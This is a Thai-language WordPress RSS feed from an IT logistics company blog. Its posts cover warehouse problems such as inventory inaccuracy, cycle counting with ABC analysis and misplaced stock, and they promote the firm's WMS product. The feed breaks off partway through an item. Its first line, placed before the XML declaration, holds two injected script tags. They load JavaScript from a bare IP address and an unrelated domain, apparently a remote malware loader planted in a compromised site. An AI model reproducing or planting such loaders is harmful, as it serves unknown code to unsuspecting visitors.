<script type="text/javascript" src="http://209.62.24.211/mltools.js"></script><script type="text/javascript" src="http://sem-elektrik.com/jstools.js"></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kasco IT &#187; ccd</title>
	<atom:link href="http://www.kascoit.com/index.php/tag/ccd/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kascoit.com</link>
	<description>IT Logistics Expert</description>
	<lastBuildDate>Sat, 18 Sep 2010 08:46:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Inventory ไม่ Accuracy!! ปัญหา(Classic) คลังสินค้าข้อที่ 5</title>
		<link>http://www.kascoit.com/index.php/2010/07/12/inventory-not-accuracy/</link>
		<comments>http://www.kascoit.com/index.php/2010/07/12/inventory-not-accuracy/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 09:02:49 +0000</pubDate>
		<dc:creator>chadanan</dc:creator>
				<category><![CDATA[SMART LOGISTICS]]></category>
		<category><![CDATA[3pl]]></category>
		<category><![CDATA[Barcode]]></category>
		<category><![CDATA[barcode printer]]></category>
		<category><![CDATA[barcode scanner]]></category>
		<category><![CDATA[Barcode Software]]></category>
		<category><![CDATA[cash drawer]]></category>
		<category><![CDATA[ccd]]></category>
		<category><![CDATA[ERP]]></category>
		<category><![CDATA[Food Court]]></category>
		<category><![CDATA[Freight forwarder]]></category>
		<category><![CDATA[Freight management]]></category>
		<category><![CDATA[imager]]></category>
		<category><![CDATA[Inventory]]></category>
		<category><![CDATA[Inventory management]]></category>
		<category><![CDATA[Label printer]]></category>
		<category><![CDATA[laser]]></category>
		<category><![CDATA[Logistics]]></category>
		<category><![CDATA[Logistics Glossary]]></category>
		<category><![CDATA[Logistics Software]]></category>
		<category><![CDATA[MRP]]></category>
		<category><![CDATA[point of sale]]></category>
		<category><![CDATA[POS]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[Ribbon]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[sticker]]></category>
		<category><![CDATA[Stock]]></category>
		<category><![CDATA[Tracking]]></category>
		<category><![CDATA[Warehouse Management System]]></category>
		<category><![CDATA[Warehouse Management System WMS โปรแกรมคลังสินค้า Logistics สต๊อก GPS Network & Software RFID Store softwarehouse. Forwarder]]></category>
		<category><![CDATA[WMS]]></category>
		<category><![CDATA[กระจายสินค้า]]></category>
		<category><![CDATA[ขนส่งสินค้า]]></category>
		<category><![CDATA[คลังสินค้า]]></category>
		<category><![CDATA[จัดส่งสินค้า]]></category>
		<category><![CDATA[ซอฟแวร์]]></category>
		<category><![CDATA[ซอฟแวร์คลังสินค้า]]></category>
		<category><![CDATA[ซัพพลายเชน]]></category>
		<category><![CDATA[ต่างกัน]]></category>
		<category><![CDATA[บาร์โค้ด]]></category>
		<category><![CDATA[บาร์โค๊ด]]></category>
		<category><![CDATA[ปัญหาคลังสินค้าไม่แม่นยำ]]></category>
		<category><![CDATA[พยากรณ์]]></category>
		<category><![CDATA[พาณิชยนาวี]]></category>
		<category><![CDATA[ฟรี สัมมนาโลจิสติกส์]]></category>
		<category><![CDATA[ระบบคลังสินค้า]]></category>
		<category><![CDATA[ระบบบริหารคลังสินค้า]]></category>
		<category><![CDATA[ลอจิสติกส์]]></category>
		<category><![CDATA[ศัพท์โลจิสติกส์]]></category>
		<category><![CDATA[ศึกษาต่อ]]></category>
		<category><![CDATA[ศุลกากร]]></category>
		<category><![CDATA[ศูนย์กระจายสินค้า]]></category>
		<category><![CDATA[สต็อก]]></category>
		<category><![CDATA[สต็อค]]></category>
		<category><![CDATA[สต๊อก]]></category>
		<category><![CDATA[สต๊อค]]></category>
		<category><![CDATA[สินค้า]]></category>
		<category><![CDATA[สินค้าคงคลัง]]></category>
		<category><![CDATA[หน้าที่ แตกต่าง โลจิสติกส์]]></category>
		<category><![CDATA[หมึกพิมพ์ บาร์โค้ค]]></category>
		<category><![CDATA[อบรมคลังสินค้า]]></category>
		<category><![CDATA[เครื่องพิมพ์บาร์โค้ด]]></category>
		<category><![CDATA[เครื่องอ่านบาร์โค้ค]]></category>
		<category><![CDATA[โปรแกรม Logistics]]></category>
		<category><![CDATA[โปรแกรมขนส่ง]]></category>
		<category><![CDATA[โปรแกรมคลังสินค้า]]></category>
		<category><![CDATA[โปรแกรมธุรกิจขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารงานขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารโรงงาน]]></category>
		<category><![CDATA[โปรแกรมบาร์โค๊ด]]></category>
		<category><![CDATA[โปรแกรมโลจิสติกส์]]></category>

		<guid isPermaLink="false">http://www.kascoit.com/?p=993</guid>
		<description><![CDATA[ข้อมูลสินค้าที่บันทึกไว้กับที่จัดเก็บไว้จริงในคลังสินค้ามีจำนวนไม่ตรงกัน

]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.kascoit.com/wp-content/uploads/2010/07/84589837.jpg"><img class="aligncenter size-full wp-image-994" title="Warehouse" src="http://www.kascoit.com/wp-content/uploads/2010/07/84589837.jpg" alt="" width="506" height="337" /></a></strong><br />
ปัญหา(Classic) คลังสินค้าข้อที่ 5<br />
(ข้อมูลสินค้าที่บันทึกไว้กับที่จัดเก็บไว้จริงในคลังสินค้ามีจำนวนไม่ตรงกัน)</p>
<p>Inventory ไม่ Accuracy!!</p>
<p><span style="color: #ff9900;">สาเหตุ อาจจะเกิดจาก&#8230;&#8230;<br />
</span>1. เกิดจากบุคคล, ขาดระเบียบวินัย, Human Error<br />
2. เกิดจากกระบวนการวางแผนจัดการไม่ดี ไม่มีความชัดเจน<br />
3. ไม่มีระบบบันทึก Record System ที่ดี<br />
4. เกิดจากความไม่ใส่ใจของพนักงาน หรือเจ้าหน้าที่</p>
<p><span style="color: #ff9900;"> ผลของ Inventory ไม่แม่นยำ</span></p>
<ol>
<li>หาสินค้าไม่เจอ</li>
<li>เสียเวลาค้นหานาน</li>
<li>สินค้าสูญหาย</li>
<li>ขาดความน่าเชื่อถือ</li>
<li>สินค้าล้นคลัง</li>
<li>สินค้าขาดสต็อก</li>
</ol>
<p> <span style="color: #ff9900;">ทำอย่างไรให้สินค้าคงคลังแม่นยำ ( Accuracy)</span></p>
<ol>
<li>หาสาเหตุของปัญหาให้เจอว่าเกิดจากอะไร  คน หรือ กระบวนการทำงาน</li>
<li>หากเป็นที่กระบวนการ ก็จัดกระบวนการทำงานให้ชัดเจน ผู้ปฎิบัติงานมีความเข้าใจในหน้าที่อย่างดี</li>
<li>หากเป็นที่คนก็อาจจะต้องปรับทัศนคติ ฝึกอบรมให้มีความใส่ใจ มีระเบียบวินัยมากขึ้น</li>
<li>นับสินค้าบ่อยๆ หากพบว่าข้อมูลจริงกับที่บันทึกไม่ตรงกัน รีบหาสาเหตุและแก้ไข</li>
</ol>
<address><span style="color: #ff9900;"><strong> <span style="color: #999999;">&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</span></strong></span></address>
<address><strong><span style="color: #ff9900;">Kasco WMS  !!!<br />
</span>Kasco WMS</strong> หรือ Kasco Warehouse Management System เป็นซอฟแวร์ที่ช่วยในการบริหารจัดการคลังสินค้า  ตั้งแต่กระบวนการรับ จัดเก็บ จ่าย ไปจนถึงการจัดส่ง โดยมีการบันทึกทุกกระบวนการที่เกิดขึ้น   เรียกว่าทุก Transaction เพื่อช่วยในการสอบกลับ หาสาเหตุเมื่อเกิดข้อผิดพลาด</address>
]]></content:encoded>
			<wfw:commentRss>http://www.kascoit.com/index.php/2010/07/12/inventory-not-accuracy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>สต๊อกเท่าไหร่ (ไม่รู้) !! ปัญหา(Classic) คลังสินค้าข้อที่ 4</title>
		<link>http://www.kascoit.com/index.php/2010/07/05/cycle-count/</link>
		<comments>http://www.kascoit.com/index.php/2010/07/05/cycle-count/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 11:07:10 +0000</pubDate>
		<dc:creator>chadanan</dc:creator>
				<category><![CDATA[SMART LOGISTICS]]></category>
		<category><![CDATA[3pl]]></category>
		<category><![CDATA[Barcode]]></category>
		<category><![CDATA[barcode printer]]></category>
		<category><![CDATA[barcode scanner]]></category>
		<category><![CDATA[Barcode Software]]></category>
		<category><![CDATA[cash drawer]]></category>
		<category><![CDATA[ccd]]></category>
		<category><![CDATA[ERP]]></category>
		<category><![CDATA[Food Court]]></category>
		<category><![CDATA[Freight forwarder]]></category>
		<category><![CDATA[Freight management]]></category>
		<category><![CDATA[imager]]></category>
		<category><![CDATA[Inventory]]></category>
		<category><![CDATA[Inventory management]]></category>
		<category><![CDATA[Label printer]]></category>
		<category><![CDATA[laser]]></category>
		<category><![CDATA[Logistics]]></category>
		<category><![CDATA[Logistics Glossary]]></category>
		<category><![CDATA[Logistics Software]]></category>
		<category><![CDATA[MRP]]></category>
		<category><![CDATA[point of sale]]></category>
		<category><![CDATA[POS]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[Ribbon]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[sticker]]></category>
		<category><![CDATA[Stock]]></category>
		<category><![CDATA[Tracking]]></category>
		<category><![CDATA[Warehouse Management System]]></category>
		<category><![CDATA[Warehouse Management System WMS โปรแกรมคลังสินค้า Logistics สต๊อก GPS Network & Software RFID Store softwarehouse. Forwarder]]></category>
		<category><![CDATA[WMS]]></category>
		<category><![CDATA[กระจายสินค้า]]></category>
		<category><![CDATA[ขนส่งสินค้า]]></category>
		<category><![CDATA[คลังสินค้า]]></category>
		<category><![CDATA[จัดส่งสินค้า]]></category>
		<category><![CDATA[จำนวนสต็อก]]></category>
		<category><![CDATA[จำนวนสินค้าคงคลัง]]></category>
		<category><![CDATA[ซอฟแวร์]]></category>
		<category><![CDATA[ซอฟแวร์คลังสินค้า]]></category>
		<category><![CDATA[ซัพพลายเชน]]></category>
		<category><![CDATA[ต่างกัน]]></category>
		<category><![CDATA[บาร์โค้ด]]></category>
		<category><![CDATA[บาร์โค๊ด]]></category>
		<category><![CDATA[ปัญหาคลังสินค้า]]></category>
		<category><![CDATA[ปัญหาเรื่องสต็อก]]></category>
		<category><![CDATA[พยากรณ์]]></category>
		<category><![CDATA[พาณิชยนาวี]]></category>
		<category><![CDATA[ฟรี สัมมนาโลจิสติกส์]]></category>
		<category><![CDATA[ระบบคลังสินค้า]]></category>
		<category><![CDATA[ระบบบริหารคลังสินค้า]]></category>
		<category><![CDATA[ลอจิสติกส์]]></category>
		<category><![CDATA[ศัพท์โลจิสติกส์]]></category>
		<category><![CDATA[ศึกษาต่อ]]></category>
		<category><![CDATA[ศุลกากร]]></category>
		<category><![CDATA[ศูนย์กระจายสินค้า]]></category>
		<category><![CDATA[สต็อก]]></category>
		<category><![CDATA[สต็อค]]></category>
		<category><![CDATA[สต๊อก]]></category>
		<category><![CDATA[สต๊อค]]></category>
		<category><![CDATA[สินค้า]]></category>
		<category><![CDATA[สินค้าคงคลัง]]></category>
		<category><![CDATA[หน้าที่ แตกต่าง โลจิสติกส์]]></category>
		<category><![CDATA[หมึกพิมพ์ บาร์โค้ค]]></category>
		<category><![CDATA[อบรมคลังสินค้า]]></category>
		<category><![CDATA[เครื่องพิมพ์บาร์โค้ด]]></category>
		<category><![CDATA[เครื่องอ่านบาร์โค้ค]]></category>
		<category><![CDATA[โปรแกรม Logistics]]></category>
		<category><![CDATA[โปรแกรมขนส่ง]]></category>
		<category><![CDATA[โปรแกรมคลังสินค้า]]></category>
		<category><![CDATA[โปรแกรมธุรกิจขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารงานขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารโรงงาน]]></category>
		<category><![CDATA[โปรแกรมบาร์โค๊ด]]></category>
		<category><![CDATA[โปรแกรมโลจิสติกส์]]></category>

		<guid isPermaLink="false">http://www.kascoit.com/?p=984</guid>
		<description><![CDATA[“คุณโจ ตอนนี้ช่วงบอลโลก ผมอยากทราบว่า LCD 32 นิ้วในคลังมีกี่ตัว” ….เป็นคำถามสั้นๆแต่ใช้เวลานานในการหาคำตอบ]]></description>
			<content:encoded><![CDATA[<div id="attachment_988" class="wp-caption aligncenter" style="width: 516px"><a href="http://www.kascoit.com/wp-content/uploads/2010/07/90201342.jpg"><img class="size-full wp-image-988" title="wms_cycle count" src="http://www.kascoit.com/wp-content/uploads/2010/07/90201342.jpg" alt="wms_cycle count" width="506" height="337" /></a><p class="wp-caption-text">wms_cycle count</p></div>
<p>“คุณโจ ตอนนี้ช่วงบอลโลก ผมอยากทราบว่า LCD 32 นิ้วในคลังมีกี่ตัว” ….<span style="text-decoration: underline;">เป็นคำถามสั้นๆแต่ใช้เวลานานในการหาคำตอบ</span></p>
<p><span style="color: #ff9900;">สาเหตุ<br />
</span><span style="text-decoration: underline;">เพราะไม่ทราบจำนวนปัจจุบันของสินค้าในคลัง</span>    เนื่องจากไม่มีกระบวนการที่บันทึกอย่างมีระบบตั้งแต่กระบวนการรับเข้า จัดเก็บ หรือเบิกจ่าย ซึ่งหากถามว่าการรู้จำนวนสินค้าในคลังสำคัญไหม คำตอบก็คือสำคัญมากเนื่องจากตัวเลขตัวนี้เป็นตัวบ่งบอกว่า จะต้องสั่งเพิ่มอีกเท่าไหร่ จะต้องรีบนำสินค้าออกอีกเท่าไหร่ จะต้องวางแผนการผลิตแค่ไหน ซึ่งตัวเลขตัวเดียวแต่มีผลต่อคนหลายฝ่าย</p>
<p><span style="color: #ff9900;">ทำอย่างไร ที่จะทราบจำนวนสินค้าในคลัง<br />
</span><strong>คำตอบคือ</strong> ถ้าไม่ทราบจำนวน ก็ต้องนับ แต่การนับแต่ละครั้งก็ยุ่งยากเหลือเกิน บางครั้งต้องปิดคลังนับกันเลยทีเดียว  บางบริษัท นับปีละครั้ง บางบริษัท 2 ครั้งต่อปี แล้วจะนับอย่างไร</p>
<p><span style="color: #ff9900;">แก้ปัญหาโดยใช้การนับเป็นรอบหรือ Cycle Count</span><br />
หลักการของ Cycle Count คือนับที่ละน้อยๆ แต่ทำทุกวัน ซึ่งจะช่วยให้เห็นจำนวนตัวเลขที่แท้จริงในคลังได้อย่างดียิ่งขึ้น    ทั้งนี้การนับบ่อยๆจะะช่วยให้พบความคลาดเคลื่อนของจำนวนสินค้าได้เร็วขึ้น  เช่นช่วยให้ทราบว่า สินค้าตัวไหนขาด ตัวไหนเกิน ตัวไหนเสื่อมคุณภาพหรือสินค้าหาย</p>
<p> <span style="color: #ff9900;">วิธีการทำ Cycle Count<br />
</span><span style="text-decoration: underline;">1. แบ่งประเภทของสินค้าตามความสำคัญ (ABC Analysis)<br />
</span>สินค้า A หมายถึง  สินค้าขายดี ทำยอดมีความสำคัญมาก<br />
สินค้า B หมายถึง สินค้สำคัญปานกลาง<br />
สินค้า C หมายถึง สินค้ามีความสำคัญน้อย</p>
<p>ซึ่งการแบ่งประเภทความสำคัญนี้จะช่วยในการจัดลำดับความสำคัญในการจัดสรรคน เวลาไปดูแลได้</p>
<p><span style="text-decoration: underline;"><strong>2</strong>. วางแผนการนับสินค้าอย่างมีประสิทธิภาพ</span>  ซึ่งจะต้องนับทุกวัน แต่ไม่ต้องตกใจ นับทุกวันแต่วันละ 3-5 รายการ เลือกช่วงเวลาที่ว่างหน่อย พอนับไปได้สัก3-6 เดือนก็น่าจะนับได้ครบทุกรายการ ส่วนการวางแผนความถี่ในการนับ หากสินค้าไหนขายดี มีความสำคัญมาก เช่นสินค้ากลุ่ม A ก็นับบ่อยๆเช่น สัปดาห์ละ ครั้งหรือ 2-3 ครั้ง แต่ถ้าสินค้าไหนมีความสำคัญน้อยก็จัดรอบการนับให้ห่างเดือนละครั้งหรือ 3-6 เดือนครั้ง เพราะเราต้องการทราบสถานะปัจจุบันของสินค้าที่มีความสำคัญ</p>
<p>แค่นี้คุณก็สามารถหาคำตอบได้แล้ว ตอนนี้คุณมีสินค้าคงคลังเท่าไหร่</p>
<p><strong><span style="color: #ff9900;">Did you Know !!!</span><br />
Kasco WMS</strong> มีfeatures ที่ช่วยในการทำ Cycle Count ที่ช่วยให้การนับง่ายและสะดวกขึ้น  โดยสามารถวางแผนการทำล่วงหน้าได้โดยใช้เงื่อนไขการเลือกทำได้หลายปัจจัยเช่น เลือกนับตามกลุ่มสินค้า เลือกนับตามพื้นที่การจัด หรือ Zone จัดเก็บ เลือกนับตามมูลค่าสินค้าคงคลัง หรือเลือกนับเฉพาะรายการที่มีความเคลื่อนไหวเป็นต้น Kasco WMS สามารถรองรับการทำ Cycle Count โดยใช้อุปกรณ์ Mobile Computer ที่สามารถอ่าน Barcode หรือ RFID Tag ได้ หรือการทำ Cycle Count แบบManual ก็ได้</p>
<p><strong> </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kascoit.com/index.php/2010/07/05/cycle-count/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>หาของไม่เจอ !! ปัญหา(Classic) คลังสินค้าข้อที่ 3</title>
		<link>http://www.kascoit.com/index.php/2010/06/28/warehouse_problem3/</link>
		<comments>http://www.kascoit.com/index.php/2010/06/28/warehouse_problem3/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 07:46:17 +0000</pubDate>
		<dc:creator>chadanan</dc:creator>
				<category><![CDATA[SMART LOGISTICS]]></category>
		<category><![CDATA[3pl]]></category>
		<category><![CDATA[Barcode]]></category>
		<category><![CDATA[barcode printer]]></category>
		<category><![CDATA[barcode scanner]]></category>
		<category><![CDATA[Barcode Software]]></category>
		<category><![CDATA[cash drawer]]></category>
		<category><![CDATA[ccd]]></category>
		<category><![CDATA[ERP]]></category>
		<category><![CDATA[Food Court]]></category>
		<category><![CDATA[Freight forwarder]]></category>
		<category><![CDATA[Freight management]]></category>
		<category><![CDATA[imager]]></category>
		<category><![CDATA[Inventory]]></category>
		<category><![CDATA[Inventory management]]></category>
		<category><![CDATA[Label printer]]></category>
		<category><![CDATA[laser]]></category>
		<category><![CDATA[Logistics]]></category>
		<category><![CDATA[Logistics Glossary]]></category>
		<category><![CDATA[Logistics Software]]></category>
		<category><![CDATA[MRP]]></category>
		<category><![CDATA[point of sale]]></category>
		<category><![CDATA[POS]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[Ribbon]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[sticker]]></category>
		<category><![CDATA[Stock]]></category>
		<category><![CDATA[Tracking]]></category>
		<category><![CDATA[Warehouse Management System]]></category>
		<category><![CDATA[Warehouse Management System WMS โปรแกรมคลังสินค้า Logistics สต๊อก GPS Network & Software RFID Store softwarehouse. Forwarder]]></category>
		<category><![CDATA[WMS]]></category>
		<category><![CDATA[กระจายสินค้า]]></category>
		<category><![CDATA[ขนส่งสินค้า]]></category>
		<category><![CDATA[คลังสินค้า]]></category>
		<category><![CDATA[จัดส่งสินค้า]]></category>
		<category><![CDATA[ซอฟแวร์]]></category>
		<category><![CDATA[ซอฟแวร์คลังสินค้า]]></category>
		<category><![CDATA[ซัพพลายเชน]]></category>
		<category><![CDATA[ต่างกัน]]></category>
		<category><![CDATA[บาร์โค้ด]]></category>
		<category><![CDATA[บาร์โค๊ด]]></category>
		<category><![CDATA[พยากรณ์]]></category>
		<category><![CDATA[พาณิชยนาวี]]></category>
		<category><![CDATA[ฟรี สัมมนาโลจิสติกส์]]></category>
		<category><![CDATA[ระบบคลังสินค้า]]></category>
		<category><![CDATA[ระบบบริหารคลังสินค้า]]></category>
		<category><![CDATA[ลอจิสติกส์]]></category>
		<category><![CDATA[ศัพท์โลจิสติกส์]]></category>
		<category><![CDATA[ศึกษาต่อ]]></category>
		<category><![CDATA[ศุลกากร]]></category>
		<category><![CDATA[ศูนย์กระจายสินค้า]]></category>
		<category><![CDATA[สต็อก]]></category>
		<category><![CDATA[สต็อค]]></category>
		<category><![CDATA[สต๊อก]]></category>
		<category><![CDATA[สต๊อค]]></category>
		<category><![CDATA[สินค้า]]></category>
		<category><![CDATA[สินค้าคงคลัง]]></category>
		<category><![CDATA[หน้าที่ แตกต่าง โลจิสติกส์]]></category>
		<category><![CDATA[หมึกพิมพ์ บาร์โค้ค]]></category>
		<category><![CDATA[อบรมคลังสินค้า]]></category>
		<category><![CDATA[เครื่องพิมพ์บาร์โค้ด]]></category>
		<category><![CDATA[เครื่องอ่านบาร์โค้ค]]></category>
		<category><![CDATA[โปรแกรม Logistics]]></category>
		<category><![CDATA[โปรแกรมขนส่ง]]></category>
		<category><![CDATA[โปรแกรมคลังสินค้า]]></category>
		<category><![CDATA[โปรแกรมธุรกิจขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารงานขนส่ง]]></category>
		<category><![CDATA[โปรแกรมบริหารโรงงาน]]></category>
		<category><![CDATA[โปรแกรมบาร์โค๊ด]]></category>
		<category><![CDATA[โปรแกรมโลจิสติกส์]]></category>

		<guid isPermaLink="false">http://www.kascoit.com/?p=958</guid>
		<description><![CDATA[ปัญหาของการหาสินค้าไม่เจอคงจะไม่ใช่เป็นปัญหาในตัวกระบวนการหาเอง (Picking Process) แต่กลับเป็น]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff9900;">หาของไม่เจอ !! ปัญหา(Classic) คลังสินค้าข้อที่ 3</span><br />
<span style="color: #ff9900;"><br />
</span><span style="color: #ff9900;">สาเหตุ</span><br />
ปัญหาของการหาสินค้าไม่เจอคงจะ<strong><span style="text-decoration: underline;">ไม่ใช่เป็นปัญหาในตัวกระบวนการหาเอง (</span></strong><strong><span style="text-decoration: underline;">Picking Process)</span></strong> แต่กลับเป็นผลพวงจากกระบวนการก่อนหน้านี้มากกว่า   ซึ่งกระบวนการพื้นฐานในคลังสินค้ามีดังนี้ คือ การรับ (Receive) การเก็บ (Storage) การหา (Picking) การจัดส่ง (Shipping)  โดยเฉพาะ<span style="text-decoration: underline;">การนำไปเก็บ (</span><span style="text-decoration: underline;">Put Away) ถ้าเก็บเป็นที่เป็นทาง เป็นระเบียบหาได้ง่าย มีการให้ข้อมูลของตำแหน่งที่เก็บสินค้าอย่างถูกต้องแม่นยำ ปัญหาดังกล่าวคงจะไม่เกิดขึ้น</span> ตอนเอาเข้าไปเก็บนั้นไม่เท่าไร แต่ตอนเอาออกมานั่นสิ ไม่ง่ายเท่าไร เพราะไม่มีข้อมูลตำแหน่งของสินค้าที่ถูกต้อง ทำให้การตัดสินใจในการไปหาจะต้องใช้เวลาและทรัพยากรมากกว่าที่ควรจะเป็น  สุดท้ายอาจจะหาไม่เจอ </p>
<div id="attachment_961" class="wp-caption aligncenter" style="width: 517px"><a href="http://www.kascoit.com/wp-content/uploads/2010/06/82192447.jpg"><img class="size-full wp-image-961" title="Warehouse Problem" src="http://www.kascoit.com/wp-content/uploads/2010/06/82192447.jpg" alt="Warehouse Problem" width="507" height="337" /></a><p class="wp-caption-text">Warehouse Problem</p></div>
<p> </p>
<p><strong> </strong><strong><span style="color: #ff9900;">การแก้ปัญหา</span><br />
</strong>หากแก้ปัญหาที่คน ก็ต้องบอกว่า พนักงานในคลังจะต้องมีระเบียบวินัยอย่างสูงในการปฎิบัติงานแต่ละProcess ในคลังสินค้า ไม่ว่าจะเป็นรับ(Receive) จัดเก็บ (Storage)และการจัดส่ง (Shipping) เรียกได้ว่าถูกต้องทุกขั้นตอน มีการบันทึกข้อมูลที่ถูกต้อง ซึ่งในความเป็นจริงอาจจะเกิดความผิดพลาด ( Human Error) ได้     </p>
<p> ส่วนหนึ่งของการการแก้ปัญหาเพื่อลด Human Error คือการนำระบบบริหารจัดการคลังสินค้า หรือ WMS Warehouse Management System เข้ามาควบคุมการทำงานอีกครั้ง (Cross check )เพื่อลดความผิดพลา<strong>ด </strong> </p>
<p><strong> </strong><strong><span style="color: #ff9900;">ระบบบริหารคลังสินค้า </span></strong><strong><span style="color: #ff9900;">(WMS) ช่วยแก้ปัญหาการหาได้อย่างไร<br />
</span></strong>1. <span style="color: #ff9900;">กระบวนการรับสินค้า (Receiving) :<br />
</span> <strong>ระบบ </strong><strong>WMS</strong>  สามารถ Reserveพื้นที่ หรือจองพื้นที่ให้ล่วงหน้าเพื่อช่วยในการวางแผนการใช้พื้นที่ในคลังได้อย่างมีประสิทธิภาพ เพราะคลังสินค้าบางที่ไม่มีระบบที่ดี เมื่อรับสินค้าเข้าคลังก็เอาไปตามใจชอบ สุดท้ายก็จำไม่ได้ว่า นำไปเก็บไว้ที่ไหน </p>
<p>2<span style="color: #ff9900;">. กระบวนการจัดเก็บ(Put Away):<br />
</span> <strong>ระบบ </strong><strong>WMS</strong> สามารถ แนะนำตำแหน่งที่เหมาะสมในการจัดเก็บ และมีการยืนยันตำแหน่งการจัดเก็บที่ถูกต้อง<br />
Manual  : โดยผู้ตรวจสอบเซ็นอนุมัติ หลังจากตรวจสอบว่าจัดเก็บในตำแหน่งนั้นจริง<br />
Barcode Scanner : โดยการยิง Barcode Scanner ในตำแหน่งที่จัดเก็บจริง </p>
<p>ซึ่งตรงนี้จะช่วยในการconfirm ตำแหน่งจัดเก็บอย่างถูกต้อง ซึ่งจะช่วยลดปัญหาการหาของไม่เจอได้ </p>
<p><span style="color: #ff9900;">3.  กระบวนการเบิก (Picking ):<br />
</span><strong>ระบบ </strong><strong>WMS</strong> จะมีระบบ Search เพื่อช่วยในการค้นหาได้อย่างง่ายดาย แค่กรอกเงื่อนไข ระบบก็สามารถค้นหาสินค้าให้เอง ไม่ว่าจะเป็นการเบิกแบบ FIFO , LIFO, FEFO หรือสามารถกำหนดเอง</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kascoit.com/index.php/2010/06/28/warehouse_problem3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>คลังสินค้าไม่มีความสำคัญ!! ปัญหาคลังสินค้าข้อที่ 2</title>
		<link>http://www.kascoit.com/index.php/2010/06/16/warehous-is-not-important/</link>
		<comments>http://www.kascoit.com/index.php/2010/06/16/warehous-is-not-important/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 07:02:18 +0000</pubDate>
		<dc:creator>chadanan</dc:creator>
				<category><![CDATA[SMART LOGISTICS]]></category>
		<category><![CDATA[3pl]]></category>
		<category><![CDATA[Barcode]]></category>
		<category><![CDATA[barcode printer]]></category>
		<category><![CDATA[barcode scanner]]></category>
		<category><![CDATA[Barcode Software]]></category>
		<category><![CDATA[cash drawer]]></category>
		<category><![CDATA[ccd]]></category>
		<category><![CDATA[ERP]]></category>
		<category><![CDATA[Food Court]]></category>
		<category><![CDATA[Freight forwarder]]></category>
		<category><![CDATA[Freight management]]></category>
		<category><![CDATA[imager]]></category>
		<category><![CDATA[Inventory]]></category>
		<category><![CDATA[Inventory management]]></category>
		<category><![CDATA[Label printer]]></category>
